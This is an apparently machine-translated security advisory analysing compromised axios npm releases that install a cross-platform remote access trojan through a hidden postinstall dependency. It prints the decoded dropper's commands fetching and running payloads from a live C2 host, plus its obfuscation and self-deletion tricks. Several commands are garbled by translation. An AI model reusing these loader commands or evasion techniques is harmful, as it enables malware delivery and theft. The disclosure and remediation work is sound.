
Axios bị xâm nhập trên NPM – Phiên bản độc hại thả trojan truy cập từ xa
Axios compromised on NPM – Malicious versions drop remote access trojan
Hai phiên bản độc hại của gói `axios` nổi tiếng trên npm (`axios@1.14.1` và `axios@0.30.4`) đã bị tấn công và phát tán, cài cắm một loại mã độc truy cập từ xa (RAT) thông qua một dependency bị ẩn. Vụ tấn công này đã vượt qua các quy trình CI/CD nhờ sử dụng thông tin đăng nhập của một maintainer bị xâm phạm, đồng thời áp dụng các kỹ thuật né tránh tinh vi như tự xóa mã độc. Các developer cần gỡ cài đặt ngay lập tức các phiên bản này và coi như hệ thống của mình đã bị xâm nhập, qua đó nhấn mạnh tầm quan trọng cốt yếu của các biện pháp bảo mật chuỗi cung ứng (supply chain security) mạnh mẽ.
Tài khoản người bảo trì bị tấn công được sử dụng để xuất bản các bản phát hành axios bị nhiễm độc bao gồm 1.14.1 và 0.30.4. Kẻ tấn công đã chèn một phần phụ thuộc ẩn làm rơi RAT đa nền tảng. Chúng tôi đang tích cực điều tra và sẽ cập nhật bài đăng này với phân tích kỹ thuật đầy đủ.
Vào ngày 30 tháng 3 năm 2026, StepSecurity đã xác định được hai phiên bản độc hại của thư viện máy khách HTTP axios được sử dụng rộng rãi được xuất bản lên npm: axios@1.14.1 và axios@0.30.4. Cả hai phiên bản đều được xuất bản bằng cách sử dụng thông tin đăng nhập npm bị xâm phạm của một nhà bảo trì axios chính, bỏ qua quy trình CI/CD GitHub Actions thông thường của dự án. Kẻ tấn công đã thay đổi email tài khoản của người bảo trì thành địa chỉ ProtonMail ẩn danh và xuất bản thủ công các gói bị nhiễm độc thông qua npm CLI.
Những sự xâm phạm này đã được phát hiện bởi StepSecurity AI Package Analyst [1][2] và StepSecurity Harden-Runner. Chúng tôi đã đã tiết lộ một cách có trách nhiệm vấn đề này cho những người bảo trì dự án.
Các phiên bản độc hại đưa vào một phần phụ thuộc mới, plain-crypto-js@4.2.1, phần phụ thuộc này không bao giờ được nhập vào bất kỳ đâu trong mã nguồn axios. Mục đích duy nhất của nó là thực thi tập lệnh postinstall hoạt động như một công cụ nhỏ giọt trojan (RAT) truy cập từ xa đa nền tảng, nhắm mục tiêu macOS, Windows và Linux. Công cụ nhỏ giọt liên hệ với máy chủ chỉ huy và điều khiển trực tiếp và cung cấp tải trọng giai đoạn hai cụ thể cho nền tảng. Sau khi thực thi, phần mềm độc hại sẽ tự xóa và thay thế package.json của chính nó bằng một phiên bản sạch để tránh bị phát hiện pháp y.
Cả phiên bản độc hại đều không chứa một dòng mã độc nào bên trong axios. Thay vào đó, cả hai đều đưa vào một phần phụ thuộc giả mạo, plain-crypto-js@4.2.1, một gói không bao giờ được nhập vào bất kỳ đâu trong nguồn axios, mục đích duy nhất của nó là chạy tập lệnh cài đặt sau triển khai trojan truy cập từ xa đa nền tảng (RAT). Công cụ nhỏ giọt này liên hệ với máy chủ chỉ huy và kiểm soát trực tiếp, cung cấp các tải trọng giai đoạn hai riêng biệt cho macOS, Windows và Linux, sau đó tự xóa và thay thế package.json của chính nó bằng một mồi nhử sạch sẽ, khiến nhà phát triển phải kiểm tra thư mục node_modules của họ sau khi thực tế không có dấu hiệu nào cho thấy có điều gì sai sót.
Đây không phải là cơ hội. Sự phụ thuộc độc hại đã được dàn dựng trước 18 giờ. Ba tải trọng riêng biệt được tạo sẵn cho ba hệ điều hành. Cả hai nhánh phát hành đều bị tấn công trong vòng 39 phút. Mọi dấu vết đều được thiết kế để tự hủy. Đây là một trong những cuộc tấn công chuỗi cung ứng có hoạt động phức tạp nhất từng được ghi nhận đối với gói 10 npm hàng đầu.
Nếu bạn đã cài đặt axios@1.14.1 hoặc axios@0.30.4, thì giả sử hệ thống của bạn đã bị xâm phạm.
Chúng tôi đã thực hiện phân tích toàn bộ thời gian chạy và tĩnh của các gói độc hại, bao gồm cả việc giải mã hoàn toàn phần mềm nhỏ giọt bị xáo trộn.
Tấn công Dòng thời gian
Cuộc tấn công đã được dàn dựng trước trong khoảng 18 giờ, với phần phụ thuộc độc hại được gieo vào npm trước khi axios phát hành để tránh cảnh báo về "gói hoàn toàn mới" từ máy quét bảo mật:
| Dấu thời gian (UTC) | Sự kiện |
|---|---|
| 2026-03-30 05:57 | plain-crypto-js@4.2.0 được xuất bản bởi nrwise@proton.me — một mồi nhử rõ ràng chứa bản sao đầy đủ của nguồn crypto-js hợp pháp, không có hook postinstall. Mục đích duy nhất của nó là thiết lập lịch sử xuất bản npm để gói không xuất hiện dưới dạng tài khoản không có lịch sử trong quá trình kiểm tra sau này. |
| 2026-03-30 23:59 | plain-crypto-js@4.2.1 được xuất bản bởi nrwise@proton.me — đã thêm tải trọng độc hại. Giới thiệu hook postinstall: "node setup.js" và trình nhỏ giọt bị xáo trộn. |
| 2026-03-31 00:21 | axios@1.14.1 được xuất bản bởi tài khoản jasonsaayman bị xâm nhập (email: ifstap@proton.me) — chèn plain-crypto-js@4.2.1 làm phần phụ thuộc thời gian chạy, nhắm mục tiêu cơ sở người dùng 1.x hiện đại. |
| 2026-03-31 01:00 | axios@0.30.4 được xuất bản bởi cùng một tài khoản bị xâm nhập — việc tiêm giống hệt vào nhánh 0.x cũ, được xuất bản sau 39 phút để tối đa hóa mức độ phù hợp trên cả hai dòng phát hành. |
Nền tảng: axios là gì?
axios là thư viện máy khách HTTP phổ biến nhất trong hệ sinh thái JavaScript. Nó được sử dụng trong hầu hết mọi ứng dụng trình duyệt và Node.js thực hiện các yêu cầu HTTP - từ giao diện người dùng React đến công cụ CI/CD cho đến API phía máy chủ. Với hơn 300 triệu lượt tải xuống hàng tuần, chỉ một bản phát hành nhỏ thôi cũng có tiềm năng bùng nổ rất lớn. Nhà phát triển chạy npm install hoặc npm update thường lệ sẽ không có lý do gì để nghi ngờ gói đang triển khai phần mềm độc hại.
Cách thức hoạt động của cuộc tấn công
Bước 1 — Cướp tài khoản người bảo trì
Kẻ tấn công đã xâm phạm tài khoản npm jasonsaayman, người duy trì chính của dự án axios. Email đã đăng ký của tài khoản đã được đổi thành ifstap@proton.me — địa chỉ ProtonMail do kẻ tấn công kiểm soát. Bằng cách sử dụng quyền truy cập này, kẻ tấn công đã xuất bản các bản dựng độc hại trên đồng thời cả hai nhánh phát hành 1.x và 0.x, tối đa hóa số lượng dự án bị lộ.
Cả axios@1.14.1 và axios@0.30.4 đều được ghi lại trong sổ đăng ký npm do jasonsaayman xuất bản , khiến chúng không thể phân biệt được với các bản phát hành hợp pháp trong nháy mắt.
Tín hiệu điều tra quan trọng hiển thị trong siêu dữ liệu đăng ký npm. Mọi bản phát hành axios 1.x hợp pháp đều được xuất bản thông qua Tác vụ GitHub với cơ chế Nhà xuất bản đáng tin cậy OIDC của npm, nghĩa là bản xuất bản được liên kết bằng mật mã với quy trình làm việc Hành động GitHub đã được xác minh. axios@1.14.1 phá vỡ hoàn toàn mô hình đó — được xuất bản thủ công thông qua mã thông báo truy cập npm bị đánh cắp mà không có ràng buộc OIDC và không có gitHead:
// axios@1.14.0 — HỢP PHÁP
"_npmUser": {
"name": "Hành động GitHub",
"email": "npm-oidc-no-reply@github.com",
"trustedPublisher": {
"id": "github",
"oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
}
}
// axios@1.14.1 — ĐỘC HẠI
"_npmUser" : {
"tên": "jasonsaayman",
"email": "ifstap@proton.me"
// không có TrustedPublisher, không có gitHead, không có cam kết hoặc thẻ GitHub tương ứng
Không có cam kết hoặc thẻ nào trong kho lưu trữ GitHub của axios tương ứng với 1.14.1. Bản phát hành chỉ tồn tại trên npm. Mã thông báo OIDC mà các bản phát hành hợp pháp sử dụng là tạm thời và nằm trong phạm vi quy trình công việc cụ thể — nó không thể bị đánh cắp. Kẻ tấn công phải có được mã thông báo truy cập npm cổ điển tồn tại lâu dài cho tài khoản.
Bước 2 — Tổ chức phần phụ thuộc độc hại
Trước khi xuất bản các bản phát hành axios cửa sau, kẻ tấn công đã dàn dựng trước một gói độc hại trên npm: plain-crypto-js@4.2.1, được xuất bản từ một tài khoản dùng một lần riêng biệt (nrwise, nrwise@proton.me). Hãy lưu ý việc sử dụng chung ProtonMail trên cả hai tài khoản — một mô hình hoạt động nhất quán của tác nhân này.
Gói này được thiết kế có chủ đích để trông có vẻ hợp pháp:
- Giả dạng
crypto-js— cùng một mô tả (“thư viện JavaScript của các tiêu chuẩn tiền điện tử”), cùng ghi nhận tác giả (Evan Vosberg) và cùng một URL kho lưu trữ trỏ đếngithub.com/brix/crypto-js - Chứa
postinstallhook:"postinstall": "node setup.js"— thực thi tự động mà không cần bất kỳ hành động nào của người dùng, trên mỗinpm install - Tiến hành hủy bỏ bằng chứng của chính nó — bao gồm một tệp có tên
package.md, một sơ khaipackage.jsonsạch4.2.0, không cóhậu cài đặt) sẵn sàng ghi đè tệp kê khai thực sau khi cuộc tấn công diễn ra
Bước 3 — Đưa phần phụ thuộc vào axios
Kẻ tấn công đã xuất bản axios@1.14.1 và axios@0.30.4 với plain-crypto-js: "^4.2.1" được thêm dưới dạng phụ thuộc thời gian chạy — một gói chưa bao giờ xuất hiện trong bất kỳ bản phát hành axios hợp pháp nào. Điểm khác biệt là ở chỗ: mọi phần phụ thuộc khác đều giống với phiên bản sạch trước đó.
So sánh phần phụ thuộc giữa phiên bản sạch và phiên bản bị xâm phạm:
- axios@1.14.0 — follow-redirects, form-data, proxy-from-env [CLEAN]
- axios@1.14.1 — chuyển hướng theo dõi, dữ liệu biểu mẫu, proxy-from-env, plain-crypto-js@^4.2.1 [ÁC ĐỘ]
- axios@0.30.3 — chuyển hướng theo dõi, dữ liệu biểu mẫu, proxy-from-env [CLEAN]
- axios@0.30.4 — chuyển hướng theo dõi, dữ liệu biểu mẫu, proxy-from-env, plain-crypto-js@^4.2.1 [MALICIOUS]
Khi nhà phát triển chạy npm install axios@1.14.1, npm phân giải cây phụ thuộc và tự động cài đặt plain-crypto-js@4.2.1. Sau đó, npm thực thi tập lệnh postinstall của plain-crypto-js, khởi chạy trình nhỏ giọt.
Sự phụ thuộc ảo: Một grep trên tất cả 86 tệp trong axios@1.14.1 xác nhận rằng plain-crypto-js không bao giờ được nhập hoặc require() ở bất kỳ đâu trong mã nguồn axios Nó được thêm vào package.json chỉ để kích hoạt hook postinstall. Phần phụ thuộc xuất hiện trong tệp kê khai nhưng không được sử dụng trong cơ sở mã là dấu hiệu có độ tin cậy cao về một bản phát hành bị xâm phạm.
RAT Dropper: setup.js — Static Analysis
setup.js là một tệp được rút gọn duy nhất sử dụng sơ đồ che giấu hai lớp được thiết kế để tránh các công cụ phân tích tĩnh và gây nhầm lẫn cho người đánh giá.
Kỹ thuật làm rối mã nguồn
Tất cả các chuỗi nhạy cảm — tên mô-đun, mã nhận dạng hệ điều hành, lệnh shell, URL C2 và đường dẫn tệp — đều được lưu trữ dưới dạng giá trị được mã hóa trong một mảng có tên stq[]. Hai hàm giải mã chúng trong thời gian chạy:
_trans_1(x, r) — Mật mã XOR. Khóa "OrDeR_7077" được phân tích cú pháp thông qua Number() của JavaScript: các ký tự chữ cái tạo ra NaN, mà trong các thao tác theo bit sẽ trở thành 0. Chỉ các chữ số 7, 0, 7, 7 ở vị trí 6–9 tồn tại, tạo ra khóa hiệu quả là [0,0,0,0,0,0,7,0,7,7]. Mỗi ký tự ở vị trí r được giải mã thành:
charCode XOR key[(7 × r × r) % 10] XOR 333
_trans_2(x, r) — Lớp ngoài. Đảo ngược chuỗi được mã hóa, thay thế _ bằng =, base64 giải mã kết quả (hiểu các byte dưới dạng UTF-8 để khôi phục các điểm mã Unicode), sau đó chuyển đầu ra qua _trans_1.
Điểm vào của trình nhỏ giọt là _entry("6202033"), trong đó 6202033 là C2 Đoạn đường dẫn URL. URL C2 đầy đủ là: http://sfrclak.com:8000/6202033
Chuỗi được giải mã hoàn toàn
StepSecurity đã giải mã hoàn toàn mọi mục nhập trong mảng stq[]. Bản rõ được khôi phục cho thấy cuộc tấn công hoàn chỉnh:
stq[0] → "child_process" // thực thi shell
stq[1] → "os" // phát hiện nền tảng
stq[2] → "fs" // hoạt động của hệ thống tập tin
stq[3] → "http://sfrclak.com:8000/" // URL cơ sở C2
stq[5] → "win32" // Mã nhận dạng nền tảng Windows
stq[6] → "darwin" // mã định danh nền tảng macOS
stq[12] → "curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &"
stq[13] → "package.json" // bị xóa sau khi thực thi
stq[ 14] → "package.md" // còn sơ khai sạch được đổi tên thành pack.json
stq[15] → ".exe"
stq[16] → .ps1"
stq[17] → ".vbs"Tải trọng dành riêng cho nền tảng
Trình nhỏ giọt kiểm tra os.platform() và phân nhánh thành một trong ba đường dẫn tấn công:
macOS AppleScript Dropper
Trên macOS (darwin), trình nhỏ giọt ghi tệp AppleScript vào thư mục tạm thời của hệ thống và thực thi nó một cách âm thầm:
nohup osascript "" > /dev/null 2>&1 &AppleScript liên hệ với máy chủ C2 bằng nội dung POST packages.npm.org/product0, tải xuống tệp nhị phân macOS RAT, lưu nó vào /Library/Caches/com.apple.act.mond (một đường dẫn được thiết kế trông giống như một mục nhập bộ đệm hệ thống hợp pháp của Apple), giúp nó có thể thực thi được bằng chmod 770 và khởi chạy nó trong nền thông qua /bin/zsh:
làm tập lệnh shell "curl -o /Library/Caches/com.apple.act.mond \
-d packages.npm.org/product0 \
-s http://sfrclak.com:8000/6202033 \
&& chmod 770 /Library/Caches/com.apple.act.mond \
&& /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \
&> /dev/null" Tệp AppleScript sẽ bị xóa sau khi thực thi. Tạo phẩm ổn định duy nhất là /Library/Caches/com.apple.act.mond. Đường dẫn được cố ý: /Library/Caches/ là một thư mục thuộc sở hữu của hệ thống hiếm khi được kiểm tra trong quá trình ứng phó sự cố và có tên com.apple.act.mond bắt chước quy ước đặt tên daemon DNS ngược của Apple — hậu tố có thể viết tắt là “Activity Monitor Daemon” để hòa trộn với các quy trình nền hợp pháp của Apple trong cùng một thư mục.
Windows VBScript + PowerShell Dropper
Trên Windows (win32), chuỗi tấn công bao gồm ba giai đoạn:
- Chạy
- Sao chép tệp nhị phân PowerShell sang
%PROGRAMDATA%\wt.exe— được ngụy trang dưới dạng tệp thực thi Windows Terminal, cung cấp bản sao liên tục của trình thông dịch - Viết VBScript (
.vbs) vào thư mục tạm thời và thực thi nó thông quacscript //nologo
nơi powershell để xác định đường dẫn nhị phân PowerShell VBScript chạy một cửa sổ cmd.exe ẩn hoàn toàn (0, False ngăn chặn tất cả giao diện người dùng):
Đặt objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /ccurl -s -X POST " & _
"-d ""packages.npm.org/product1"" " & _
"""http://sfrclak.com:8000/6202033"" > """ " " & _
"& powershell -w Hidden -ep bypass -file """ " " & _
"""http://sfrclak.com:8000/6202033"" & del """ " /f", 0, SaiC2 trả về tập lệnh PowerShell RAT, được lưu vào %TEMP%\6202033.ps1 (sử dụng ID chiến dịch làm tên tệp). Nó chạy với -ExecutionPolicy Bypass và -WindowStyle Hidden, sau đó tự xóa. VBScript (%TEMP%\6202033.vbs) cũng bị xóa bởi cscript sau khi thực thi. Tạo phẩm ổn định duy nhất là %PROGRAMDATA%\wt.exe.
Linux Python Dropper
Trên tất cả các nền tảng khác (Linux, v.v.), trình nhỏ giọt thực thi lệnh shell trực tiếp thông qua execSync của Node.js:
curl -o /tmp/ld.py \
-d packages.npm.org/product2 \
-s http://sfrclak.com:8000/6202033 \
&& Nohup python3 /tmp/ld.py http: //sfrclak.com:8000/6202033 > /dev/null 2>&1 &C2 trả về tập lệnh Python RAT. Nó được lưu vào /tmp/ld.py và được thực thi ở chế độ nền với nohup. Tệp vẫn còn trên đĩa tại /tmp/ld.py.
Ba sản phẩm, một C2: Mỗi nền tảng gửi một nội dung POST riêng biệt tới cùng một URL C2 — packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux). Điều này cho phép máy chủ C2 phân phát tải trọng phù hợp với nền tảng để đáp ứng với một điểm cuối duy nhất. Tiền tố packages.npm.org/ trong nội dung POST là một nỗ lực có chủ ý nhằm làm cho lưu lượng truy cập gửi đi xuất hiện dưới dạng giao tiếp đăng ký npm vô hại trong nhật ký mạng và quy tắc SIEM.
Tự dọn dẹp — Ẩn bằng chứng
Sau khi khởi chạy tải trọng nền tảng, setup.js thực hiện ba bước dọn dẹp pháp y khiến cho việc phân tích hậu lây nhiễm tiêu chuẩn trở nên không đáng tin cậy:
- Xóa chính nó —
fs.unlink(__filename)xóasetup.jskhỏi thư mục gói đã cài đặt - Xóa
package.json— xóa tệp chứa"postinstall": "node setup.js"hook - Đổi tên
package.mdthànhpackage.json— sơ khai sạch đã được dàn dựng trước (phiên bản4.2.0, không cópostinstall, không có tham chiếusetup.js) nào được chuyển vào vị trí
Mọi hoạt động kiểm tra sau lây nhiễm của node_modules/plain-crypto-js/package.json sẽ hiển thị một bảng kê khai hoàn toàn rõ ràng. Không có tập lệnh postinstall, không có tệp setup.js và không có dấu hiệu nào cho thấy bất kỳ thứ gì độc hại đã từng được cài đặt. Chạy npm Audit hoặc xem lại thủ công thư mục gói đã cài đặt sẽ không phát hiện ra sự xâm phạm.
Tại sao sự hiện diện của thư mục vẫn quan trọng: Ngay cả sau khi dọn dẹp, sự tồn tại của node_modules/plain-crypto-js/ là bằng chứng đầy đủ về sự xâm phạm — gói này không phụ thuộc vào bất kỳ phiên bản axios hợp pháp nào. Nếu bạn tìm thấy thư mục này thì thiết bị nhỏ giọt đã chạy.
Xác thực thực thi thời gian chạy với StepSecurity Harden-Runner
Phân tích tĩnh của thiết bị nhỏ giọt bị xáo trộn đã cho chúng tôi biết điều mà phần mềm độc hại dự định làm. Để xác nhận rằng nó thực sự hoạt động như thiết kế, chúng tôi đã cài đặt axios@1.14.1 bên trong trình chạy GitHub Actions được trang bị StepSecurity Harden-Runner ở chế độ kiểm tra. Harden-Runner ghi lại mọi kết nối mạng gửi đi, mọi quy trình được sinh ra và mọi tệp ghi ở cấp hạt nhân — mà không can thiệp vào việc thực thi ở chế độ kiểm tra, cung cấp cho chúng tôi bức tranh chân thực hoàn chỉnh về những gì xảy ra ngay khi npm install chạy.
Thông tin chi tiết đầy đủ về Harden-Runner cho lần chạy này có thể truy cập công khai:

Sự kiện mạng: Đã xác nhận liên hệ C2 qua hai bước quy trình làm việc
Nhật ký sự kiện mạng chứa hai kết nối gửi đi tới sfrclak.com:8000 — nhưng điều khiến điều này đặc biệt quan trọng là thời điểm chúng xảy ra:
- Bước: Cài đặt axios 1.14.1 — 01:30:51Z PID 2401 •
curl→ sfrclak.com:8000 • knownBy: infra - Bước: Xác minh phiên bản và nhập axios — 01:31:27Z PID 2400 •
nohup→ sfrclak.com:8000 • được gọiBy: infra
Có hai điều nổi bật ngay lập tức:
- Kết nối C2 đầu tiên (
curl, PID 2401) kích hoạt 1,1 giây khi cài đặt npm — lúc01:30:51Z, chỉ 2 giây sau khicài đặt npmbắt đầu lúc01:30:49Z. Hookpostinstallđã kích hoạt, giải mã các chuỗi của nó và đang tạo kết nối HTTP gửi đi tới máy chủ bên ngoài trước khi npm giải quyết xong tất cả các phần phụ thuộc. - Kết nối C2 thứ hai (
nohup, PID 2400) xảy ra 36 giây sau, trong một bước quy trình làm việc hoàn toàn khác — “Xác minh phiên bản và nhập axios”. Bước cài đặt npm đã kết thúc từ lâu. Phần mềm độc hại vẫn tồn tại trong các bước tiếp theo, chạy dưới dạng một tiến trình nền tách rời. Đây là tải trọng Python giai đoạn 2 (/tmp/ld.py) thực hiện lệnh gọi lại — hoạt động và độc lập với quá trình sinh ra nó.
Tại sao cả hai kết nối đều hiển thị được gọiBy: "infra": Khi Harden-Runner có thể theo dõi lệnh gọi mạng đến một bước Hành động cụ thể thông qua cây quy trình của người chạy, nó sẽ gắn nhãn đó là "runner" . Nhãn "infra" có nghĩa là quá trình tạo kết nối không thể được quy cho một bước cụ thể — vì trình nhỏ giọt đã sử dụng nohup ... & để tách khỏi cây quy trình. Quá trình này đã được tách biệt một cách có chủ ý với PID 1 (init), cắt đứt mọi mối quan hệ cha-con. Đây là phần mềm độc hại chủ động trốn tránh phân bổ quy trình.
Cây quy trình: Chuỗi tiêu diệt đầy đủ được quan sát trong thời gian chạy
Harden-Runner ghi lại mọi tòa nhà execve. Các sự kiện của quy trình thô sẽ tái cấu trúc chuỗi thực thi chính xác từ npm install đến liên hệ C2:
PID 2366 bash /home/runner/work/_temp/***.sh [01:30:48.186Z]
└─ Nút env PID 2380 npm cài đặt axios@1.14.1 [01:30:49.603Z]
└─ PID 2391 sh -c "node setup.js" [01:30:50.954Z]
│ cwd: node_modules/plain-crypto-js ← hook sau khi cài đặt bị cháy
└─ Nút PID 2392 setup.js [01:30:50.955Z]
│ cwd: node_modules/plain-crypto-js
└─ PID 2399 /bin/sh -c "curl -o /tmp/ld.py \ [01:30:50.978Z]
-d packages.npm.org/product2 \
-s http://sfrclak.com:8000/6202033 \
&& Nohup python3 /tmp/ld.py \
http://sfrclak.com:8000/6202033 \
> /dev/null 2>&1 &"
PID 2401 cuộn tròn -o /tmp/ld.py -d packages.npm.org/product2 [01:30:50.979Z]
ppid: 2400 ← con của Nohup
PID 2400 Nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 [01:31:27.732Z]
ppid: 1 ← ORPHANED TO INIT — tách khỏi cây quy trình npm
Cây quy trình xác nhận chuỗi thực thi chính xác được giải mã tĩnh từ setup.js. Bốn cấp độ gián tiếp của quy trình tách biệt npm install ban đầu khỏi lệnh gọi lại C2: npm → sh → nút → sh → Curl/nohup. Quá trình nohup (PID 2400) báo cáo ppid: 1 là xác nhận kỹ thuật của kỹ thuật trình nền — vào thời điểm npm install trả về thành công, một quy trình tách rời đã chạy /tmp/ld.py ở chế độ nền.
Các chỉ báo về sự thỏa hiệp
Npm độc hại Gói
- axios@1.14.1 · shasum: 2553649f232204966871cea80a5d0d6adc700ca
- axios@0.30.4 · shasum: d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
- plain-crypto-js@4.2.1 · shasum: 07d889e2dadce6f3910dcbc253317d28ca61c766
Chỉ báo mạng
- Miền C2 · sfrclak.com
- IP C2 · 142.11.206.73
- URL C2 · http://sfrclak.com:8000/6202033
- Nội dung POST C2 (macOS) · packages.npm.org/product0
- C2 POST body (Windows) · packages.npm.org/product1
- C2 POST body (Linux) · packages.npm.org/product2
Chỉ báo hệ thống tệp
- macOS · /Library/Caches/com.apple.act.mond
- Windows (persistent) · %PROGRAMDATA%\wt.exe
- Windows (temp, tự xóa) · %TEMP%\6202033.vbs
- Windows (tạm thời, tự xóa) · %TEMP%\6202033.ps1
- Linux · /tmp/ld.py
Tài khoản do kẻ tấn công kiểm soát
- jasonsaayman · người bảo trì axios hợp pháp bị xâm phạm, email đã đổi thành ifstap@proton.me
- nrwise · tài khoản do kẻ tấn công tạo, nrwise@proton.me, đã xuất bản plain-crypto-js
Tham khảo phiên bản an toàn
- axios@1.14.0 (an toàn) · shasum: 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb
Tôi có bị ảnh hưởng không?
Kiểm tra các phiên bản axios độc hại trong dự án của bạn:
npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"Kiểm tra plain-crypto-js trong node_modules:
ls node_modules/plain-crypto-js 2>/dev/null && echo "TIỀM NĂNG ẢNH HƯỞNG"Nếu setup.js đã chạy, package.json bên trong thư mục này sẽ được thay thế bằng một bản sơ khai rõ ràng. Sự hiện diện của thư mục là đủ bằng chứng cho thấy trình nhỏ giọt đã thực thi.
Kiểm tra các thành phần lạ của RAT trên các hệ thống bị ảnh hưởng:
# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "BỊ THƯƠNG HIỆU"
#Linux
ls -la /tmp/ld.py 2>/dev/null && echo "THƯƠNG HIỆU"
"THƯƠNG HIỆU"
# Windows (cmd.exe)
dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED
Kiểm tra nhật ký quy trình CI/CD để tìm bất kỳ nào các lần thực thi npm install có thể đã kéo axios@1.14.1 hoặc axios@0.30.4. Bất kỳ quy trình nào đã cài đặt một trong hai phiên bản sẽ được coi là bị xâm phạm và tất cả bí mật được đưa vào sẽ được luân chuyển ngay lập tức.
Khắc phục
1. Hạ cấp axios xuống phiên bản sạch và ghim nó: npm install axios@1.14.0 # cho người dùng 1.x
npm install axios@0.30.3 # dành cho 0.x người dùng Thêm một ghi đè chặn để ngăn chặn quá trình giải quyết bắc cầu trở lại phiên bản độc hại:
{
"phụ thuộc": { "axios": "1.14.0" },
"ghi đè": { "axios": "1.14.0" },
"nghị quyết": { "axios": "1.14.0" }
}
2. Xóa plain-crypto-js khỏi node_modules:
rm -rf node_modules/plain-crypto-js
npm cài đặt --ignore-scripts 3. Nếu tìm thấy thành phần lạ RAT: coi hệ thống như đã bị xâm phạm hoàn toàn. Đừng cố gắng làm sạch tại chỗ - hãy xây dựng lại từ trạng thái tốt.
4. Xoay vòng tất cả thông tin xác thực trên bất kỳ hệ thống nào có gói độc hại chạy: mã thông báo npm, khóa truy cập AWS, khóa riêng SSH, thông tin xác thực đám mây (GCP, Azure), bí mật CI/CD và mọi giá trị có trong tệp .env có thể truy cập được tại thời điểm cài đặt.
5. Kiểm tra quy trình CI/CD đối với các lần chạy đã cài đặt các phiên bản bị ảnh hưởng. Bất kỳ quy trình công việc nào thực thi cài đặt npm với các phiên bản này đều phải xoay vòng tất cả các bí mật được chèn.
6.Sử dụng --ignore-scripts trong CI/CD như một chính sách thường trực để ngăn các hook sau cài đặt chạy trong quá trình xây dựng tự động:
npm ci --ignore-scripts
7. Chặn lưu lượng truy cập C2 ở lớp mạng/DNS để đề phòng mọi hệ thống có khả năng bị lộ:
# Chặn qua tường lửa (Linux)
iptables -A OUTPUT -d 142.11.206.73-j DROP
# Chặn qua /etc/hosts (macOS/Linux)
echo "0.0.0.0 sfrclak.com" >> /etc/máy chủ StepSecurity trợ giúp như thế nào
StepSecurity cung cấp bảo mật npm toàn diện cho chuỗi cung ứng trên ba trụ cột: Ngăn chặn, Phát hiện và Phản hồi. Đây là cách mỗi loại sẽ giúp ích trong cuộc tấn công này — và cách chúng bảo vệ bạn trước cuộc tấn công tiếp theo. (Tài liệu đầy đủ)
Ngăn chặn - Chặn các gói độc hại trước khi chúng xâm nhập vào cơ sở mã của bạn
- Kiểm tra thời gian hồi chiêu của gói npm — Các gói npm mới xuất bản tạm thời bị chặn trong khoảng thời gian hồi chiêu có thể định cấu hình. Khi PR giới thiệu hoặc cập nhật phiên bản được xuất bản gần đây, việc kiểm tra sẽ tự động thất bại. Vì hầu hết các gói độc hại được xác định trong vòng 24 giờ nên điều này tạo ra một vùng đệm an toàn quan trọng. Trong trường hợp này,
plain-crypto-js@4.2.1đã được xuất bản vài giờ trước khi axios phát hành — mọi cập nhật PR lênaxios@1.14.1hoặcaxios@0.30.4trong thời gian hồi chiêu sẽ tự động bị chặn. - Kiểm tra các bản cập nhật bị xâm phạm gói npm — StepSecurity duy trì cơ sở dữ liệu thời gian thực về các gói npm độc hại và có nguy cơ cao đã biết, được cập nhật liên tục — thường là trước khi gửi CVE chính thức. Nếu PR cố gắng giới thiệu một gói bị xâm phạm, việc kiểm tra sẽ không thành công và quá trình hợp nhất sẽ bị chặn. Cả
axios@1.14.1vàplain-crypto-js@4.2.1đều được thêm vào cơ sở dữ liệu này trong vòng vài phút sau khi bị phát hiện.

- Hạn chế mạng đi ra của Harden-Runner — Lọc lưu lượng truy cập mạng đi trong quá trình thực thi quy trình công việc, chặn tất cả các điểm cuối không được khai báo. Cả việc thực thi DNS và cấp độ mạng đều ngăn chặn việc đánh cắp dữ liệu bí mật. Lệnh gọi lại C2 tới
sfrclak.com:8000và tải trọng tải trong tập lệnhpostinstallsẽ bị chặn ở cấp độ mạng trước khi RAT có thể được phân phối.
Phát hiện - Khả năng hiển thị liên tục trên các PR, kho lưu trữ và máy phát triển
- Thông tin về mối đe dọa + Nhà phân tích gói AI — Liên tục giám sát sổ đăng ký npm để phát hành các bản phát hành đáng ngờ. Trong trường hợp này, cả
axios@1.14.1vàplain-crypto-js@4.2.1đều bị gắn cờ trong vòng vài phút sau khi xuất bản — giúp các nhóm có thời gian điều tra, xác nhận mục đích xấu và hành động trước khi các gói tích lũy số lượt cài đặt đáng kể. Cảnh báo bao gồm phân tích hành vi đầy đủ, chi tiết tải trọng được giải mã và liên kết trực tiếp tới Nguồn cấp dữ liệu bảo mật OSS. - npm Package Search — Tìm kiếm trên tất cả các PR trong tất cả các kho lưu trữ trên toàn tổ chức của bạn để tìm nơi giới thiệu một gói cụ thể. Khi phát hiện một gói bị xâm phạm, hãy hiểu ngay bán kính vụ nổ - kho lưu trữ nào, PR nào và nhóm nào bị ảnh hưởng. Tính năng này hoạt động trên các yêu cầu kéo, nhánh mặc định và máy phát triển.
- Các đường cơ sở của mạng chạy cứng hơn — Tự động ghi lại lưu lượng truy cập mạng gửi đi cho mỗi công việc và kho lưu trữ, thiết lập các mẫu hành vi bình thường và gắn cờ các điểm bất thường. Tiết lộ liệu các tập lệnh
postinstallđộc hại có thực hiện các nỗ lực lọc hay liên hệ với các miền đáng ngờ hay không — ngay cả khi phần mềm độc hại tự xóa bằng chứng của chính nó sau đó.


Ứng phó - Điều tra sự cố và đánh giá tác động trên toàn tổ chức
